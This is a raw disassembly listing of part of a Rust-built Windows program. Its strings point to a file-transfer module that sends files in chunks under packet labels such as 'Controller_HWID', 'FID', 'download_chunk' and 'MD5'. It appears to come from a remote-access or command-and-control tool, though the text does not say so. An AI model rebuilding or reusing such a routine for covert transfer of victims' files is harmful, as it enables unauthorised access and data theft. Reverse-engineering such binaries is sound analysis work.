mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 8
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2980]
mov r8, qword [rbp + 0x2990]
lea rcx, [rbp + 0x26e0]
call fcn.1400474b0
mov rax, qword [rbp + 0x26f0]
mov qword [rbp + 0x2bb7], rax
movups xmm0, xmmword [rbp + 0x26e0]
movups xmmword [rbp + 0x2ba7], xmm0
movups xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
movdqa xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2ba0]
movdqu xmmword [rbp + 0x2709], xmm0
mov rax, qword [rbp + 0x2baf]
mov qword [rbp + 0x2718], rax
mov rax, qword [rbp + 0x2bb7]
mov qword [rbp + 0x2720], rax
mov byte [rbp + 0x2cca], 1
push 8
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x657a6953656c6946
mov qword [rax], rcx
movaps xmm0, xmmword [rbp + 0x2a00]
movups xmmword [rbp + 0x2ba7], xmm0
mov rcx, qword [rbp + 0x2a10]
mov qword [rbp + 0x2bb7], rcx
mov bl, 5
mov byte [rbp + 0x10], bl
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 8
mov byte [rbp + 0x38], bl
movdqu xmm0, xmmword [rbp + 0x2ba0]
movdqu xmmword [rbp + 0x39], xmm0
mov rax, qword [rbp + 0x2baf]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x2bb7]
mov qword [rbp + 0x50], rax
push 3
pop rcx
xor edx, edx
call fcn.1400814b3
mov byte [rax + 2], 0x35
mov word [rax], 0x444d
movups xmm0, xmmword [rbp + 0x2670]
movups xmmword [rbp + 0x2ba7], xmm0
mov rcx, qword [rbp + 0x2680]
mov qword [rbp + 0x2bb7], rcx
mov ecx, dword [rbp + 0x2950]
mov r8d, dword [rbp + 0x2953]
mov dword [rbp + 0x2af8], ecx
mov dword [rbp + 0x2afb], r8d
movups xmm0, xmmword [rbp + 0x2ba0]
movaps xmmword [rbp + 0x29a0], xmm0
mov rcx, qword [rbp + 0x2baf]
mov qword [rbp + 0x29af], rcx
mov rcx, qword [rbp + 0x2bb7]
mov qword [rbp + 0x29b7], rcx
push 0xa
pop r8
lea rsi, [rbp + 0x2a70]
mov rcx, r8
mov r9, qword [rbp + 0x2d68]
mov rdi, r9
rep movsq qword [rdi], qword [rsi]
lea rdi, [r9 + 0x50]
lea rsi, [rbp + 0x2c10]
mov rcx, r8
rep movsq qword [rdi], qword [rsi]
lea rdi, [r9 + 0xa0]
lea rsi, [rbp + 0x2080]
mov rcx, r8
rep movsq qword [rdi], qword [rsi]
lea rdi, [r9 + 0xf0]
lea rsi, [rbp + 0x2400]
mov rcx, r8
rep movsq qword [rdi], qword [rsi]
lea rdi, [r9 + 0x140]
lea rsi, [rbp + 0x26e0]
mov rcx, r8
rep movsq qword [rdi], qword [rsi]
mov rdi, r9
add rdi, 0x190
lea rsi, [rbp + 0x10]
mov rcx, r8
rep movsq qword [rdi], qword [rsi]
mov byte [r9 + 0x1e0], bl
mov ecx, dword [rbp + 0x2af8]
mov r8d, dword [rbp + 0x2afb]
mov dword [r9 + 0x1e1], ecx
mov dword [r9 + 0x1e4], r8d
mov qword [r9 + 0x1e8], rax
mov qword [r9 + 0x1f0], rdx
mov qword [r9 + 0x1f8], 3
mov byte [r9 + 0x208], bl
movups xmm0, xmmword [rbp + 0x29af]
movups xmmword [r9 + 0x218], xmm0
movdqa xmm0, xmmword [rbp + 0x29a0]
movdqu xmmword [r9 + 0x209], xmm0
lea rdx, [rbp + 0x2b20]
mov qword [rdx + 8], r9
push 7
pop rax
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rax
mov byte [rdx], 8
lea rcx, [rbp + 0x26e0]
call fcn.140077c9a
mov rdx, qword [rbp + 0x26e0]
mov r8, qword [rbp + 0x26f0]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x2d68], rdx
call fcn.14001545f
lea rcx, [rbp + 0x2a50]
call fcn.1400182d8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x2a50]
mov rdx, rdi
call fcn.1400181b0
mov rsi, rax
mov rdx, qword [rbp + 0x18]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x26e8]
mov rcx, qword [rbp + 0x2d68]
call fcn.140047b8c
xor eax, eax
test rsi, rsi
je 0x14002d41b
mov byte [rbp + 0x2d15], al
mov byte [rbp + 0x2d14], al
lea rcx, [rbp + 0x2b20]
call fcn.14000de3b
jmp 0x14002d435
mov rcx, qword [rbp + 0x2d68]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x26e0]
mov rdx, qword [rbp + 0x26e8]
call fcn.140047b8c
and qword [rbp + 0x2390], 0
mov bl, 1
mov byte [rbp + 0x2d35], bl
mov byte [rbp + 0x2d34], 0
mov byte [rbp + 0x2d33], bl
call fcn.1400419f1
mov byte [rbp + 0x2d35], bl
mov byte [rbp + 0x2d34], 0
mov byte [rbp + 0x2d33], bl
lea rcx, [rbp + 0x10]
mov rdx, rax
call fcn.14000903f
mov al, 1
mov byte [rbp + 0x2d35], al
mov byte [rbp + 0x2d34], 0
mov byte [rbp + 0x2d33], al
lea rdx, str.srcmodule_file_transfer.rs
lea rcx, [rbp + 0x10]
call fcn.14000fc73
mov qword [rbp + 0x2d68], rax
mov byte [rbp + 0x2d58], dl
mov rdx, qword [rbp + 0x26c8]
mov r8, qword [rbp + 0x26d8]
mov byte [rbp + 0x2d30], 1
lea r14, [rbp + 0x2400]
mov rcx, r14
call fcn.1400474b0
mov r15, qword [rbp + 0x2d68]
mov rbx, r15
add rbx, 0x10
mov rax, qword [rbp + 0x2aa0]
mov qword [rbp + 0x2710], rax
movdqa xmm0, xmmword [rbp + 0x2a70]
movdqa xmm1, xmmword [rbp + 0x2a80]
movaps xmm2, xmmword [rbp + 0x2a90]
movaps xmmword [rbp + 0x2700], xmm2
movdqa xmmword [rbp + 0x26f0], xmm1
movdqa xmmword [rbp + 0x26e0], xmm0
mov rcx, qword [r15 + 0x30]
mov rdx, qword [r15 + 0x38]
mov r8, qword [rbp + 0x2400]
mov r9, qword [rbp + 0x2410]
call fcn.14004230a
mov rdi, rax
mov qword [rbp + 0x2080], r14
cmp qword [r15 + 0x20], 0
jne 0x14002c0ba
mov rax, qword [rbp + 0x2d68]
lea rdx, [rax + 0x30]
mov rcx, rbx
call fcn.140119600
lea r9, [rbp + 0x10]
mov qword [r9], rsi
mov qword [r9 + 8], rbx
mov rax, qword [rbp + 0x2d68]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
lea rax, [0x1400150d2]
mov qword [rsp + 0x20], rax
mov r8, rdi
call fcn.1400f18a2
test rax, rax
je 0x14002d4b1
mov rcx, qword [rbp + 0x2410]
lea rax, [rbp + 0x10]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rbp + 0x2400]
movaps xmmword [rax], xmm0
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqa xmm1, xmmword [rbp + 0x26f0]
movaps xmm2, xmmword [rbp + 0x2700]
movdqu xmmword [rax + 0x18], xmm0
movdqu xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
mov rcx, qword [rbp + 0x2710]
mov qword [rax + 0x48], rcx
mov r9, qword [rbp + 0x2d68]
mov rcx, qword [r9 + 0x10]
movzx r8d, byte [rcx + rdx]
and r8d, 1
sub qword [r9 + 0x20], r8
shr rdi, 0x39
lea r8, [rdx - 0x10]
and r8, qword [r9 + 0x18]
mov byte [rcx + rdx], dil
mov byte [r8 + rcx + 0x10], dil
inc qword [r9 + 0x28]
neg rdx
imul rdx, rdx, 0x50
lea rdi, [rcx + rdx]
add rdi, 0xffffffffffffffb0
push 0xa
pop rcx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
and qword [rax], 0
jmp 0x14002d526
lea r8, [0x140122806]
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002cbfb
lea rdx, str.DWIDFailed_to_create_directory:_D
lea rcx, [rbp + 0x23b0]
push 4
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002dbef
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002dc30
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2a50]
call fcn.14000fd59
mov byte [rbp + 0x2d19], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FilePathSaveFilePath
lea rcx, [rbp + 0x23b0]
push 8
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d19], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d19], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002c322
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002c363
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2a00]
call fcn.14000fd59
mov byte [rbp + 0x2d18], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FIDStr
lea rcx, [rbp + 0x23b0]
push 6
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d18], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d18], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002c411
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002c452
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2670]
call fcn.14000fd59
mov byte [rbp + 0x2d31], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rdx, qword [rbp + 0x2670]
mov r8, qword [rbp + 0x2680]
lea rsi, [rbp + 0x10]
mov rcx, rsi
call fcn.140054030
mov byte [rbp + 0x2d31], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rsi
call fcn.14000fb66
mov r14, rax
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x29b0], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x29a0], xmm0
lea rcx, [rbp + 0x2a00]
call fcn.1400074a4
mov qword [rbp + 0x2d48], rdx
test rax, rax
jne 0x14002e2bb
xor r15d, r15d
mov ecx, 0xc800
mov dl, 1
call fcn.1400814b3
mov qword [rbp + 0x2d68], rax
mov qword [rbp + 0x2d58], rdx
mov r9d, 0xc800
lea rcx, [rbp + 0x10]
mov rdx, qword [rbp + 0x2d48]
mov r8, qword [rbp + 0x2d68]
call fcn.140094f50
cmp qword [rbp + 0x10], 0
jne 0x14002d481
mov rsi, qword [rbp + 0x18]
test rsi, rsi
je 0x14002e292
mov rdx, qword [rbp + 0x2a00]
mov r8, qword [rbp + 0x2a10]
lea rcx, [rbp + 0x10]
call fcn.140007529
cmp dword [rbp + 0x10], 2
je 0x14002d481
imul rcx, qword [rbp + 0x48], 5
inc r15
mov rax, rcx
shr rax, 0x14
add rax, 0x14
xor edx, edx
mov r8d, 0x3e8
div r8
imul edx, edx, 0xf4240
cmp rcx, 0x1f500000
mov eax, 0x1efe9200
cmovae edx, eax
xor ecx, ecx
call fcn.14008f8a0
cmp r15, r14
jne 0x14002cafd
mov ecx, 0x1e0
call fcn.14001018f
mov qword [rbp + 0x2d38], rax
push 6
pop rcx
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 0x12
pop rcx
xor edx, edx
call fcn.1400814b3
movups xmm0, xmmword [str.fix_download_chunk]
movups xmmword [rax], xmm0
mov word [rax + 0x10], 0x6b6e
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2c10], xmm0
movdqa xmmword [rbp + 0x2c20], xmm1
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rcx
mov byte [rbp + 0x2c38], 5
mov qword [rbp + 0x2c40], rax
mov qword [rbp + 0x2c48], rdx
mov qword [rbp + 0x2c50], 0x12
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495748
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rax + 0x18]
mov r8, qword [rax + 0x28]
lea rcx, [rbp + 0x2400]
call fcn.1400474b0
mov rax, qword [rbp + 0x2410]
lea rcx, [rbp + 0x26e7]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2400]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2080], xmm0
movaps xmmword [rbp + 0x2090], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20a0], rax
mov byte [rbp + 0x20a8], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26ef]
lea rax, [rbp + 0x20a9]
movdqu xmmword [rax + 0xf], xmm1
movdqu xmmword [rax], xmm0
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x444957485f72656c
mov qword [rax + 6], rcx
movabs rcx, 0x656c6f72746e6f43
mov qword [rax], rcx
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 0xe
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2ca0]
mov r8, qword [rbp + 0x2cb0]
lea rcx, [rbp + 0x2a70]
call fcn.1400474b0
mov rax, qword [rbp + 0x2a80]
lea rcx, [rbp + 0x26e7]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2a70]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2400], xmm0
movaps xmmword [rbp + 0x2410], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2420], rax
mov byte [rbp + 0x2428], 5
movdqu xmm0, xmmword [rbp + 0x26e0]
movdqu xmm1, xmmword [rbp + 0x26ef]
lea rax, [rbp + 0x2429]
movdqu xmmword [rax + 0xf], xmm1
movdqu xmmword [rax], xmm0
push 4
pop rcx
xor edx, edx
call fcn.1400814b3
mov dword [rax], 0x44495744
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 4
mov byte [rbp + 0x10], 5
mov rdx, qword [rbp + 0x2a50]
mov r8, qword [rbp + 0x2a60]
lea rcx, [rbp + 0x2b20]
call fcn.1400474b0
mov rax, qword [rbp + 0x2b30]
lea rcx, [rbp + 0x2a77]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x2b20]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x26e0], xmm0
movaps xmmword [rbp + 0x26f0], xmm1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x2700], rax
mov byte [rbp + 0x2708], 5
movdqu xmm0, xmmword [rbp + 0x2a70]
movdqu xmm1, xmmword [rbp + 0x2a7f]
lea rax, [rbp + 0x26e7]
movdqu xmmword [rax + 0x31], xmm1
movdqu xmmword [rax + 0x22], xmm0
push 3
pop rcx
xor edx, edx
call fcn.1400814b3
mov byte [rax + 2], 0x44
mov word [rax], 0x4946
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 3
mov byte [rbp + 0x2a70], 5
test r14, r14
js 0x1400337b5
mov al, byte [rbp + 0x2a70]
mov ecx, dword [rbp + 0x2a71]
movzx edx, word [rbp + 0x2a75]
mov r8b, byte [rbp + 0x2a77]
mov r9, qword [rbp + 0x2a78]
mov r10, qword [rbp + 0x2a80]
mov r11, qword [rbp + 0x2a88]
mov byte [rbp + 0x10], al
mov dword [rbp + 0x11], ecx
mov word [rbp + 0x15], dx
mov byte [rbp + 0x17], r8b
mov qword [rbp + 0x18], r9
mov qword [rbp + 0x20], r10
mov qword [rbp + 0x28], r11
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x30], rax
mov byte [rbp + 0x38], 1
mov qword [rbp + 0x40], r14
push 5
pop rcx
xor edx, edx
call fcn.1400814b3
mov byte [rax + 4], 0x6b
mov dword [rax], 0x6e756843
mov qword [rbp + 0x2a78], rax
mov qword [rbp + 0x2a80], rdx
mov qword [rbp + 0x2a88], 5
mov byte [rbp + 0x2a70], 5
mov edx, 0xc800
mov rcx, qword [rbp + 0x2d68]
mov r8, rsi
lea r9, str.srcmodule_file_transfer.rs
call fcn.1400146cb
mov rsi, rax
mov r12, rdx
mov rcx, rdx
xor edx, edx
call fcn.1400814b3
mov rbx, rax
mov r13, rdx
mov rcx, rax
mov rdx, rsi
mov r8, r12
call sub.msvcrt.dll_memcpy
movups xmm0, xmmword [rbp + 0x2a70]
movups xmm1, xmmword [rbp + 0x2a80]
movaps xmmword [rbp + 0x2b20], xmm0
movaps xmmword [rbp + 0x2b30], xmm1
mov rax, qword [rbp + 0x2a90]
mov qword [rbp + 0x2b40], rax
mov eax, dword [rbp + 0x2980]
mov ecx, dword [rbp + 0x2983]
mov dword [rbp + 0x2b80], eax
mov dword [rbp + 0x2b83], ecx
push 0xa
pop rax
mov rcx, rax
mov r8, qword [rbp + 0x2d38]
mov rdi, r8
lea rsi, [rbp + 0x2c10]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0x50]
mov rcx, rax
lea rsi, [rbp + 0x2080]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xa0]
mov rcx, rax
lea rsi, [rbp + 0x2400]
rep movsq qword [rdi], qword [rsi]
lea rdi, [r8 + 0xf0]
mov rcx, rax
lea rdx, [rbp + 0x26e0]
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdi, r8
add rdi, 0x140
mov rcx, rax
lea rsi, [rbp + 0x10]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x2b40]
mov qword [r8 + 0x1b0], rax
movdqa xmm0, xmmword [rbp + 0x2b20]
movdqa xmm1, xmmword [rbp + 0x2b30]
movdqu xmmword [r8 + 0x1a0], xmm1
movdqu xmmword [r8 + 0x190], xmm0
mov byte [r8 + 0x1b8], 6
mov eax, dword [rbp + 0x2b80]
mov ecx, dword [rbp + 0x2b83]
mov dword [r8 + 0x1b9], eax
mov dword [r8 + 0x1bc], ecx
mov qword [r8 + 0x1c0], rbx
mov qword [r8 + 0x1c8], r13
mov qword [r8 + 0x1d0], r12
mov qword [rbp + 0x2ba8], r8
push 6
pop rax
mov qword [rbp + 0x2bb0], rax
mov qword [rbp + 0x2bb8], rax
mov byte [rbp + 0x2ba0], 8
mov rcx, rdx
lea rdx, [rbp + 0x2ba0]
call fcn.140077c9a
mov rdx, qword [rbp + 0x26e0]
mov r8, qword [rbp + 0x26f0]
lea rcx, [rbp + 0x10]
mov qword [rbp + 0x2d38], rdx
call fcn.14001545f
lea rcx, [rbp + 0x29a0]
call fcn.1400182d8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x29a0]
mov rdx, rdi
call fcn.1400181b0
mov rsi, rax
mov rdx, qword [rbp + 0x18]
mov rcx, rdi
call fcn.140047b8c
mov rdx, qword [rbp + 0x26e8]
mov rcx, qword [rbp + 0x2d38]
call fcn.140047b8c
test rsi, rsi
jne 0x14002fe8f
lea rcx, [rbp + 0x2ba0]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d68]
mov rdx, qword [rbp + 0x2d58]
call fcn.140047b8c
jmp 0x14002c4ef
lea r8, [rbp + 0x10]
mov rax, qword [r8 + 8]
mov qword [r8], rax
mov byte [rbp + 0x2d47], 1
lea rax, str.srcmain.rsFailed_to_get_current_executable
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140121280]
push 0x2b
pop rdx
call fcn.14011a700
jmp 0x140033972
lea r8, [rbp + 0x10]
mov rcx, qword [r8 + 0x20]
mov edx, dword [rbp + 0x2080]
mov r9d, dword [rbp + 0x2083]
mov dword [rbp + 0x2c13], r9d
mov dword [rbp + 0x2c10], edx
movdqa xmm0, xmmword [rbp + 0x26e0]
movdqa xmmword [rbp + 0x2400], xmm0
mov byte [r8], al
mov eax, dword [rbp + 0x2c10]
mov edx, dword [rbp + 0x2c13]
mov dword [r8 + 1], eax
mov dword [r8 + 4], edx
mov qword [r8 + 8], rsi
movdqu xmmword [r8 + 0x10], xmm0
mov qword [r8 + 0x20], rcx
lea rax, [0x14015c84f]
mov qword [r8 + 0x28], rax
mov qword [r8 + 0x30], 3
lea rax, str.srcmain.rsFailed_to_get_current_executable
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000e7d0
push 0x2b
pop rdx
call fcn.14011a700
jmp 0x140033972
mov rsi, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x2a00]
mov rdx, qword [rbp + 0x2a08]
call fcn.140047b8c
jmp 0x14002d435
lea r8, str.download_url____download_successful
push 0xc
pop r9
mov rcx, rbx
mov rdx, r14
call fcn.14004253c
test al, al
je 0x14002db48
lea rdx, [0x140122918]
lea rcx, [rbp + 0x23b0]
push 3
pop r8
mov qword [rbp + 0x2d38], r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d77], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d77], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002e3d1
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002e412
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2a00]
call fcn.14000fd59
mov byte [rbp + 0x2d1b], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
lea rdx, str.FilePathSaveFilePath
lea rcx, [rbp + 0x23b0]
push 8
pop r8
call fcn.140007202
mov rsi, rax
mov byte [rbp + 0x2d1b], 1
lea rdx, str.srcmain.rsFailed_to_get_current_executable
mov rcx, rax
call fcn.14000f868
mov byte [rbp + 0x2d1b], 1
lea rcx, [rbp + 0x10]
mov rdx, rsi
call fcn.14001062e
mov al, byte [rbp + 0x38]
movups xmm0, xmmword [rbp + 0x39]
movaps xmmword [rbp + 0x2400], xmm0
movups xmm0, xmmword [rbp + 0x48]
movups xmmword [rbp + 0x240f], xmm0
cmp al, 5
jne 0x14002cd98
mov rax, qword [rbp + 0x2417]
mov qword [rbp + 0x26f8], rax
movdqu xmm0, xmmword [rbp + 0x2407]
movdqu xmmword [rbp + 0x26e8], xmm0
mov al, 0xa
jmp 0x14002cdd9
mov rcx, qword [rbp + 0x58]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0xf]
movdqu xmmword [rbp + 0x26f0], xmm1
movdqu xmmword [rbp + 0x26e1], xmm0
mov qword [rbp + 0x2700], rcx
lea rcx, [0x14015c83e]
mov qword [rbp + 0x2708], rcx
mov qword [rbp + 0x2710], 6
lea rdx, [rbp + 0x26e0]
mov byte [rdx], al
lea r8, str.srcmain.rsFailed_to_get_current_executable
lea rcx, [rbp + 0x2670]
call fcn.14000fd59
mov byte [rbp + 0x2d1a], 1
lea rcx, [rbp + 0x10]
call fcn.14000de3b
mov rcx, qword [rbp + 0x2d20]
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x29b0], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rbp + 0x29a0], xmm0
lea rcx, [rbp + 0x2670]
call fcn.1400074a4
mov qword [rbp + 0x2d48], rdx
test rax, rax
jne 0x14002fefe
xor r14d, r14d
mov ecx, 0xc800
mov dl, 1
call fcn.1400814b3
mov qword [rbp + 0x2d68], rax
mov qword [rbp + 0x2d58], rdx
mov r9d, 0xc800
lea rcx, [rbp + 0x10]
mov rdx, qword [rbp + 0x2d48]
mov r8, qword [rbp + 0x2d68]
call fcn.140094f50
cmp qword [rbp + 0x10], 0
jne 0x14002e321
mov rsi, qword [rbp + 0x18]
test rsi, rsi
je 0x14002fea0
mov rdx, qword [rbp + 0x2670]
mov r8, qword [rbp + 0x2680]
lea rcx, [rbp + 0x10]
call fcn.140007529
cmp dword [rbp + 0x10], 2
je 0x14002e321
imul rcx, qword [rbp + 0x48], 5
mov rax, rcx
shr rax, 0x14
add rax, 0x14
xor edx, edx
mov r8d, 0x3e8
div r8
imul edx, edx, 0xf4240
cmp rcx, 0x1f500000
mov eax, 0x1efe9200
cmovae edx, eax
xor ecx, ecx
call fcn.14008f8a0
mov ecx, 0x1e0
call fcn.14001018f
mov qword [rbp + 0x2d38], rax
mov rcx, r13
xor edx, edx
call fcn.1400814b3
mov word [rax + 4], 0x7465
mov dword [rax], 0x6b636150
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x28], 6
mov byte [rbp + 0x10], 5
push 0xe
pop rcx
xor edx, edx
call fcn.1400814b3
movabs rcx, 0x6b6e7568635f6461
mov qword [rax + 6], rcx
movabs rcx, 0x64616f6c6e776f64
mov qword [rax], rcx
mov rcx, qword [rbp + 0x30]
mov qword [rbp + 0x2c30], rcx
movdqu xmm0, xmmword [rbp + 0x10]
movdqu xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2c20], xmm1
movdqa xmmword [rbp + 0x2c10], xmm0
mov byte [rbp + 0x2c38], 5
mov qword [rbp + 0x2c40], rax
